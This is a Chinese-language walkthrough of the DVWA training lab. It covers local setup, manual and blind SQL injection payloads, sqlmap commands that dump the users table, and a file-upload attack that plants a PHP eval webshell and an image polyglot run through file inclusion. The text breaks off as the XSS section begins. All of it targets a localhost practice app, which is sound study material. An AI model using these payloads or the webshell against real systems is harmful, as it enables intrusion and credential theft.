DVWA是指Damn Vulnerable Web Application,是一个用于教育和训练网络安全人员的虚拟漏洞应用程序。DVWA模拟了一个包含了多种常见Web安全漏洞的虚拟环境,包括SQL注入、XSS攻击、CSRF攻击等等。通过使用DVWA,安全人员可以学习和实践各种Web安全漏洞的检测和防范方法,以增强对实际应用程序的安全性评估和防护能力。
重点重点:
声明 本文章中所有内容仅供学习交流使用,且本文章内容均基于靶场测试练习,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作者均不负责,若有侵权,请在CSDN 私信 联系作者立即删除!
DVWA靶场一共有十个模块:
- 暴力(破解)、
- 命令行注入、
- 跨站请求伪造、
- 文件包含、
- 文件上传、
- 不安全的验证码、
- SQL注入、
- SQL盲注、
- 弱会话ID、
- XSS漏洞(DOM型跨站脚本、反射型跨站脚本、 存储型跨站脚本)
提示:本文章并不会写所有的题目
一. DVWA 靶场搭建
1.下载phpstudy
- 下载地址:小皮面板(phpstudy) - 让天下没有难配的服务器环境!
-
(phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。)
-
- 安装 phpMyAdmin
phpMyadmin访问地址: http://localhost/phpMyAdmin4.8.5/index.php
2. 搭建DVWA靶场
下载地址:GitHub - digininja/DVWA: Damn Vulnerable Web Application (DVWA)
下载完成后:解压
将下载解压好的dvwa解压,重命名为 dvwa,然后放到phpstudy安装目录中的 www下
打开dvwa目录下,找到config目录,打开config.inc.php.dist 文件
将文件中mysql连接内容修改成你自己本地的mysql连接信息
修改成功后,将文件名config.inc.php.dist 修改为 config.inc.php
然后打开phpstudy,开启Apache,开启Mysql
这里的php版本是:php7.3.4
浏览器访问:http://127.0.0.1/dvwa
3. 初始化DVWA
浏览器访问:http://127.0.0.1/dvwa,点击create / Reet Database 创建数据库
然后稍等几秒钟,然后就会重定向到http://127.0.0.1/dvwa/login.php页面
这里的登录账号密码默认是:
- 账号:admin
- 密码:password
登录成功后
4. DVWA
1.Brute Force(暴力(破解))
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)
5. 用前说明
学习本章前,将安全级别调整到最低:Low,记得点击Submit
二. 手工 sql注入 (SQL Injection)
SQL注入是一种常见的网络安全漏洞,其利用了Web应用程序的漏洞,通过在用户输入的数据中插入恶意的SQL代码来攻击数据库。当Web应用程序未能正确地过滤、转义或验证用户输入时,攻击者可以通过SQL注入获得对数据库的未经授权的访问权限和控制权。
SQL注入攻击的原理是通过构造恶意的SQL查询语句来绕过应用程序的身份验证和授权机制,从而使攻击者能够执行任意的SQL命令。攻击者可以利用这种漏洞来获取、修改、删除或插入数据库中的数据,甚至执行系统命令。
1. sql注入介绍
sql注入,攻击者在web表单或者页面请求的查询字符串中通过注入恶意的 sql 命令,从而使数据库执行恶意的sql语句
2. sql注入常见场景
以下是SQL注入的常见场景:
- 用户登录和认证:攻击者可以通过注入恶意代码来绕过身份验证或访问其他用户的帐户。
- 用户输入表单:包括搜索框、评论框、注册表单等,攻击者可以在输入框中注入SQL代码,从而执行恶意操作。
- URL参数:攻击者可以在URL中的参数中注入SQL代码,从而绕过访问控制和执行未授权操作。
- 数据库错误消息:当数据库出错时,错误消息可能会包含敏感信息,攻击者可以利用这些信息来注入SQL代码。
- 后端数据库查询:攻击者可以在后端数据库查询语句中注入恶意SQL代码,从而直接操作数据库。
- 文件上传功能:攻击者可以通过恶意上传文件来注入SQL代码,从而执行任意操作。
以上,这些只是一些常见的场景,实际上SQL注入攻击可以发生在任何涉及数据库的应用程序中。
3. 实践,难度-low(低)
1. 打开dvwa靶场,找到 sql injection(sql注入) 选项
2. 在表单中输入正常数据,可以看到是可以正常输出的
3. 点击View Source 查看源码
4. 分析代码
- 代码解读:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
- 首先定义一个 $query 作为查询数据的 数据存储变量
- 从 users表中查询 列为first_name和列为last_name
- SELECT first_name,last_name FROM users
- 查询的条件是 user_id = 输入框输入的值,如果存在的话就返回数据,不存在的话就没返回:
- WHERE user_id = "$id"
- 问题:
- 通过以上的代码解读可以发现,输入框输入的内容并没有做数据校验,如何就直接放sql语句去进行查询了。
- WHERE user_id = "$id" 从这段代码中可以看出,存在一个字符型注入
5. 判断是否存在注入,注入的类型是字符型,数字型,还是搜索型
- 1. 输入 1' and '1'='1 ,查询成功
- 2. 输入 1' and '1'='2,查询失败,结果返回为空,说明存在字符型注入
- 3. 知道了是字符型注入,字符型注入需要找闭合符号
- 输入 1' and 1=1,之后报错,说明是单引号闭合
6. 猜解sql查询语句中的字段数
- 可以通过 group by 或者 order by 查询
- 1. 输入 1' order by 1 # ,将 by 前的字段不断网上递增,慢慢的测出sql中的字段数,
- 2. 最终 1' order by 3 # 在第3个字段开始报错,说明只有2个字段
7. 确定回显的字段顺序
- 1. 输入 1' union select 1,2 #
- 回显成功,说明执行的sql语句为,select firstname,surname from users where user_id = id
8. 获取当前数据库名称
- 1. 输入 1' union select 1,database()#
- 查询出来的数据库名称是 dvwa
9.查询数据库中的表名
- 1. 输入 1' union select 1,table_name from information_schema.tables where table_schema='dvwa
- 爆表了,users和guestbook就是数据表
- 2. 如果数据库中的表很多的话,可以使用 group_concat()方法将表连在一起:
- 1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa
10.获取users表中字段名
- 1. 输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users
11. 查询users表中的user和password字段数据
- 1. 输入:1' union select group_concat(user_id,first_name,last_name), group_concat(user,password) from users#
结束:
4. 实践,难度-Medium(中等)
难度变了之后,从输入框变成了下拉单选框
0. 预备知识-了解
打开控制台,先发送一个请求,然后以fetch格式复制,然后复制到控制台
接下来就使用fetch格式在浏览器控制台对id的值进行修改测试,这里不就使用抓包工具了
1. 判断是否存在注入,注入的类型是字符型,数字型,还是搜索型
- 通过手动点击submit知道了1搜索的值是admin
- 那么接下来使用fetch格式在控制台修改来判断注入的类型是字符型还是数字型
将id的值修改为 2-1,如果得到的结果是 admin 那么就可以确定是数字型注入的方式
返回的数据是admin,那么这是一个数字型输入的方式
2.猜解sql查询语句中的字段数
输入 id=2-1 order by 3 的时候报错了,那么说明,字段只有1,2
字段数为:2
3. 确定回显的字段顺序
输入:id=1 union select 1,2 #
那么执行的查询语句应该是:select firstname,surname from users where user_id = id
4. 获取当前数据库名称
方法一:获取数据库名称
- 输入:id=1 union select 1,database()#
方法二:获取数据库版本号和数据库名称
- 输入:id=1 union select version(),database()
5.查询数据库中的表名
- 输入:id=1 union select 1,table_name from information_schema.tables where table_schema=database()
6.查询users数据表的字段名
输入:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273
因为注入点是数字型,所以这里推断查询时的users要么是十六进制要么是字符串的形式,而MySQL默认支持16进制编解码
0x7573657273是16进制编码后的users,
7. 查询users表中的user和password字段数据
- 输入: id=1 union select group_concat(user_id,first_name,last_name), group_concat(user,password) from users#
5. 实践,难度-High(高)
在弹出的窗口中输入内容,点击submit,内容将显示在 原来的界面中
1. 查找注入点,判断是字符型还是数字型,还是搜索型
- 这里输入2-1,看看结果是admin还是Gordon,输出的内容是2,那么这是一个字符型的注入点
2. 查找字符型的闭合方式
- 输入:2' ,或者 2" 或者 2') 或 2") 看携带那个符号报错,那么就是使用了那个闭合方式
- 这里的闭合方式是 单引号 '
3. 猜解sql查询语句中的字段数
- 输入:1' order by 3 -- hello 时报错,那么可以说明 字段数只有2
4. 确定回显的字段顺序
- 输入:1' union select 1,2 -- hello
5. 输出数据库名称,和数据库版本
- 输入:1' union select version(),database()-- hello
6.查询当前数据库下的所有表名
- 输入:1' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- hello
7. 查询users表下的所有字段数
- 输入:1' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- hello
8. 查询users表中的user和password字段
- 输入:222' union select user,password from users limit 0,1 -- hello
关于High难度 为什么在每个执行语句后面都假 -- hello,
首先看代码:
- 带上-- hello是为了注释掉 LIMIT 1;,
- 这里LIMIT 1表示只返回查询结果的第一行
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
加上要执行的恶意sql后,后面的Limit 1 就被注释了
SELECT first_name, last_name FROM users WHERE user_id = '222' union select user,password from users limit 0,1 -- hello' LIMIT 1;
三. 工具 sql注入 (SQL Injection)
1. sqlmap工具安装
介绍:
- sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
- sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
- sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
- 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。
下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap
2. 快速上手sqlmap
1. 初体验-检测注入点:难度为 low 的 SQL Injection
如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式
打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制
或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制
- 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
- 打开sqlmap,执行命令:检测注入点
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'
-
执行完成的结果:
2. 初体验-检测注入点:难度为 High 的 SQL Injection
- 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
- sqlmap针对于存在二级页面的使用方式
- 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面
使用命令:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"
命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"
3.常用命令
基本的常用命令:
- 检测注入点:sqlmap.py -u "疑似存在注入点的url"
- 查看所有数据库:sqlmap.py -u "疑似存在注入点的url" --dbs
- 查看当前使用的数据库:sqlmap.py -u "疑似存在注入点的url" --current-db
- 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
- 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
- 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
- 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
- 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
- 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
- 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
- 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
- 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
- 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
- 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
- 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
- --level 一共有5个等级:1-5
- 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
- B:Boolean-based blind(布尔型注入)
- E:Error-based(报错型注入)
- U:Union query-based(可联合查询注入)
- S:Stacked queries(可多语句查询注入)
- T:Time-based blind(基于时间延迟注入)
- Q:Inline queries(嵌套查询注入)
- 使用方式:
- 1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
- 2. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url" --technique="B"
- 以上的命令都能联合使用:
- 例如:
sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump
- 例如:
关于level参数和risk参数
- level参数:--level 参数决定了sqlmap在检测sql注入时的努力程度
- level 1:默认的level等级,会测试GET和POST请求中的参数
- level 2:除了前面提到的,还会检测cookie中的数据
- level 3:user-agent和referer头部也纳入检测返回
- level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
- 关于什么是payloas:
- "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
- 默认使用sqlmap中的payloads
- 关于自定义payloads请在搜索引擎上查找相关资料
- 关于什么是payloas:
- risk参数:--risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:“我愿意承担多大的风险来进行这次测试
- risk 1:安全第一,默认的风险等级,风险几乎为 0
- risk 2:除了默认的检测,还会尝试时间型盲注
- risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
- level 和 risk的区别:
- 方向不同:
--level
更像是广度上的拓展,而--risk
则是深度上的挖掘。 - 场景不同:如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加
--level
等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升--risk
等级。
- 方向不同:
四. sql 盲注 (SQL Injection (Blind))
1. sql盲注介绍
sql盲注,与一般的注入区别在于,
- 一般的sql注入攻击者可以直接从页面上看到注入语句的执行结果。
- 而sql盲注,攻击者通常是无法从显示的页面上获取执行结果的,甚至连注入语句是否执行都无从得知,因此称呼为盲注,盲注的难度比一般的sql注入要高。
手工-sql盲注过程举例:
- 在和机器人聊天的时候,这个机器人由很多数据训练起来,知道的知识很多,但是当你问到敏感的技术时,机器人的回答只会给你一些建议或者基本的示例demo,都是一些没有用的回答。
- 所以在和机器人聊天过程中,想要知道对应的内容需要一步一步的去突破,得到正确或者近似的答案
常见的盲注分类:
- 基于布尔逻辑的盲注:
- 该类型的盲注利用布尔逻辑运算符(如AND、OR、NOT)来查询数据库的真假值,从而确定数据库的结构和数据。
- 基于时间延迟的盲注:
- 该类型的盲注利用数据库执行SQL查询语句时的时间延迟来判断查询结果的真假值。
- 基于错误信息的盲注:
- 该类型的盲注利用数据库返回的错误信息来获取关于数据库结构和数据的信息,从而进行盲注攻击。
- 基于联合查询的盲注:
- 该类型的盲注利用UNION操作符来合并多个查询结果,从而获取更多的数据库信息。
- 基于盲注工具的盲注:
- 该类型的盲注利用专门的盲注工具(如SQLMap)来自动化地探测和利用SQL注入漏洞。
手工-sql盲注的步骤:
- 判断是否存在注入,注入的是字符型还是数字型
- 猜解数据库名
- 猜解数据库中的表名
- 猜解数据表中的字段名
- 猜解数据表中的数据
2. 实践,难度-low(低)
2.1 手工-布尔盲注
布尔 盲注是在不知道 SQL 查询的返回值,但是知道查询是否成功的情况下,猜测数据库中的敏感信息的手法。
1. 判断是否存在注入,注入的是数字型还是字符型
- 基于布尔的盲注
- 输入 1' and '1'='1,显示正常,说明存在字符型注入
- 输入 1' and '1'='2,显示不正常
2. 猜解数据库名字长度
- 想要猜解数据库名,首先需要知道数据库名称的长度,然后挨个猜解字符
- 输入 1' and length(database())=1#,显示不存在
- 输入 1' and length(database())=2#,显示不存在
- 输入 1' and length(database())=3#,显示不存在
- 输入 1' and length(database())=4#,显示存在,说明数据库名字的长度为4
3. 猜解数据库名称
- 使用二分法猜解数据库名字
- 输入:1' and ascii(substr(database(),1,1)) > 97# 显示正常
- 输入:1' and ascii(substr(database(),1,1)) < 118# 显示正常
- 输入:1' and ascii(substr(database(),1,1)) > 109# 显示不正常
- 输入:1' and ascii(substr(database(),1,1)) > 103# 显示不正常
- 输入:1' and ascii(substr(database(),1,1)) > 100# 显示不正常
- 输入:1' and ascii(substr(database(),1,1)) > 98# 显示正常
- 输入:1' and ascii(substr(database(),1,1)) > 99# 显示正常
以此类推重复以上的步骤,可以将范围缩小,得到数据库的名称为:dvwa
4. 猜解数据库中的表名
- 猜解数据库中有多少个表:
- 输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 不存在
- 输入:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在,数据库中存在2张表
-
猜解表名长度
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=3# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=7# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=8# 不存在
-
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 存在,说明第一个表的长度是9
-
重复以上的步骤,将数字一直递增,最后猜解出的两个表名长度为,9和5
-
-
猜数据库表名称:
-
输入:1' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109# 存在
-
以此类推,把109慢慢向上递增
-
重复以上的步骤,将数字一直递增,最后猜解出的两个表名分别为:guestbook, users
-
5. 猜解数据表字段名
- 猜解每个字段长度:
- 输入:1' and length( substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1))=7# 存在
- 重复以上的步骤,将数字一直递增,以此类推然后得到结果
- 猜解每个字段的字符:
- 输入:1' and ascii( substr((select column from information_schema.columns where table_name="users" limit 0,1),1,1))>97# 不存在
- 重复以上的步骤,将数字一直递增,以此类推然后得到结果
最后也数据库数据也是以上的方式猜出来的,很需要耐心,其他的两个难度级别这里就忽略了,因为和low差别不大
2.2 sqlmap-盲注
1.使用sqlmap 检测注入点
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar"
-
发现存在一个时间盲注
2. 查看所有数据库名
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" --dbs
3. 获取当前数据库名
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" --current-db
4.获取dvwa数据库中的数据表名
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" --tables
5.获取数据表字段和列名
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" -T "users" --columns
6.获取数据库数据
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=91qj74vb25r1bm5anlj5fpkkar" -D "dvwa" -T "users" -C "user,password" --dump
3. 实践,难度-Medium(中等)
分析接口,这是一个post请求,那么我们使用sqlmap的时候就需要指定 post请求的参数
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="请求参数"
1.使用sqlmap 检测注入点
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --batch
-
检测到两种方式的注入点:布尔盲注和时间盲注
2. 获取当前数据库名称
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B" --current-db --batch
3.获取dvwa数据库中的数据表
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B" -D "dvwa" --tables --batch
4. 获取users数据表中的字段名
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B" -D "dvwa" -T "users" --columns --batch
5. 获取users数据表中的数据
- 输入:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=cfolqk99fliurjou9hpb01cqiq" --technique="B" -D "dvwa" -T "users" -C "user,password" --dump --batch
4. 实践,难度-High(高)
分析:
- 提交数据是一个单独页面,POST请求,可以称为一级页面
- 显示数据是一个单独页面,GET请求,可以称为二级页面
- sqlmap针对双页面的使用:
python .\sqlmap.py -u "一级页面地址" --data="post请求的参数" --second-url="二级页面地址" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch
或者也可以这样理解:
python .\sqlmap.py -u "提交数据的接口" --data="post请求的参数" --second-url="返回数据的页面地址" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch
1.使用sqlmap 检测注入点
- 输入:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --batch
2. 获取数据库表名
- 输入:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" --current-db --batch
-
数据库表名为:dvwa
3. 查询dvwa数据库中的数据表名称
- 输入:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" --tables --batch
-
dvwa数据库中的数据表:users和guestbook
4. 获取users数据表中的字段
- 输入:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" -T "users" --columns --batch
5. 获取users表中的数据
- 输入:
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=tk4774aftuhu0hlvp0pb1o7thf" -D "dvwa" -T "users" -C "user,password" --dump --batch
五. 文件上传 (File Upload)
1. 介绍
什么是文件上传漏洞?
- 大部分的网站和应用系统都有上传功能,比如用户头像上传,图片上传,文档上传等。
- 由于一些上传功能实现代码并没有严格限制用户上传的文件后缀,以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意php文件,并能够将这些文件传递给php解释器,就可以在远程服务器上执行任意php脚本
- 当系统存在文件上传漏洞时,攻击者可以讲病毒,木马,webShell,其他恶意攻击脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。
- 根据具体漏洞的差异,上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本。
产生文件上传漏洞的原因:
- 文件上传时检查不严格。
- 一些应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。
- 一些应用仅仅在客户端做了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查, 攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查。
- 一些应用虽然服务器进行了黑名单检查,但是却可能忽略了大小写,如果讲 .php 改为 .Php 就可以绕过检查
- 一些服务虽然在客户端进行了白名单检查却忽略了截断符,如应用本来只允许上传 jpg 图片,那么可以构造文件名为 xxx.php.jpg,其中为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检查,但对于服务器来说,因为字符截断的关系,最终上传的文件变成了 xxx.php
- 文件上传后修改文件名时处理不当。应用在服务端进行了完整的黑名单和白名单过滤,在修改已上传文件的文件名时百密一疏,允许用户修改文件名后缀。
- 如果应用只能上传 .doc 文件时攻击者可以先将 .php 文件后缀修改为 .doc 上传成功后在修改文件名时将后缀改回 .php
- 使用第三方插件时,一些应用引入了带有文件上传功能的第三方插件,这些插件的文件上传功能可能存在上传漏洞,攻击者可以通过这些漏洞进行文件上传攻击
文件上传漏洞危害:
- 文件上传是病毒或木马时,主要用于诱骗用于或者管理员下载执行或者直接自动运行
- 上传文件是webShell时,攻击者可通过这些网页后面执行命令并控制服务器
- 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击
- 上传文件是恶意图片时,图片中可能包含了脚本,加载或点击这些图片时脚本会悄无声息的执行
- 上传文件是伪装成正常后缀的恶意脚本时,攻击者可以借助本地文件包含漏洞执行该文件。
- 例如:将bad.php 改成 bad.doc 上传到服务器在通过php的include,include_once,reqeuire,require_once 等函数执行
2. 实践,难度-low(低)
upload file对上传文件的大小做了限制,如果当前上传的文件大小超过100000,那么可以编辑修改为 value="10000000000" ,然后在重新上传
1. 编写简单的webshell脚本
- 创建一个 cmd.php 的文件,在文件中插入以下代码
<?php @eval($_POST['cmd']); phpinfo();?>
2. 上传cmd.php
上传成功后返回的路径:hackable/uploads/cmd.php
3. 访问webshell
- http://127.0.0.1/dvwa/hackable/uploads/cmd.php
4. 执行命令
- 在url中访问:http://127.0.0.1/dvwa/hackable/uploads/cmd.php?cmd=system("dir");
- 可以看到 dir 命令执行了
5. 使用中国蚁剑连接webshell
使用蚁剑连接:http://127.0.0.1/dvwa/hackable/uploads/cmd.php
1. 右键->添加数据
连接密码就是POST请求接收的cmd参数名
3. 实践,难度-Medium(中等)
提交cmd.php测试看看 有什么变化
提示:Your image was not uploaded. We can only accept JPEG or PNG images. ,表示我们提交的文件不是一个 jpg或者png的格式,所以难度 Medium对上传的文件做了限制
打卡Burpsuite,选择Proxy
找到Intercept is on(拦截数据包),点击Open Browser(打开一个浏览器窗口)
打开Burp打开的浏览器中访问 dvwa中的upload上传漏洞
将cmd.php修改后缀名为 cmd.jpg,然后上传,拦截,修改,放行
这时候显示上传成功
访问上传的cmd.php webshell:http://127.0.0.1/dvwa/hackable/uploads/cmd.php
能成功访问webshell,在试试蚁剑的连接,也能正常连接
到这里Medium难度就结束了
4. 实践,难度-High(高)
High这关,对格式做了限制和文件大小也做了限制,换一个小一点的图片文件可以上传成功。
这一关使用Burp已经没用了,因为对文件头进行了限制,所以这里只能用图片码的方式了
- 首先将cmd.php重命名为cmd.txt
- 然后准备一张较小的图片 1.png
- 使用管理员身份打开当前 cmd.txt和1.png 存在的路径
- 然后执行以下命令,得到一个新的木马文件666.png
- copy 1.png /b + cmd.txt /a 666.png
然后将666.png上传,发现上传成功了
访问上传的666.png:http://127.0.0.1/dvwa/hackable/uploads/666.png,可以看到是可以正常访问图片的
上传成功了,那么怎么利用呢?
- 这里需要去设置为low级别,然后找到 文件包含漏洞(File Inclusion)
- 然后复制文件上传后保存在服务器的路径:D:\phpstudy_pro\WWW\dvwa\hackable\666.png
- http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file://D:\phpstudy_pro\WWW\dvwa\hackable\666.png
六. 反射型 XSS
1. XSS的由来
XSS,跨站脚本攻击。指的是攻击者往web页面插入恶意HTML代码。当用户浏览当前网页时,嵌入当前的Web中的html代码会被执行,从而达到恶意攻击用户的目的
2. XSS的分类(根据XSS脚本是否存储)
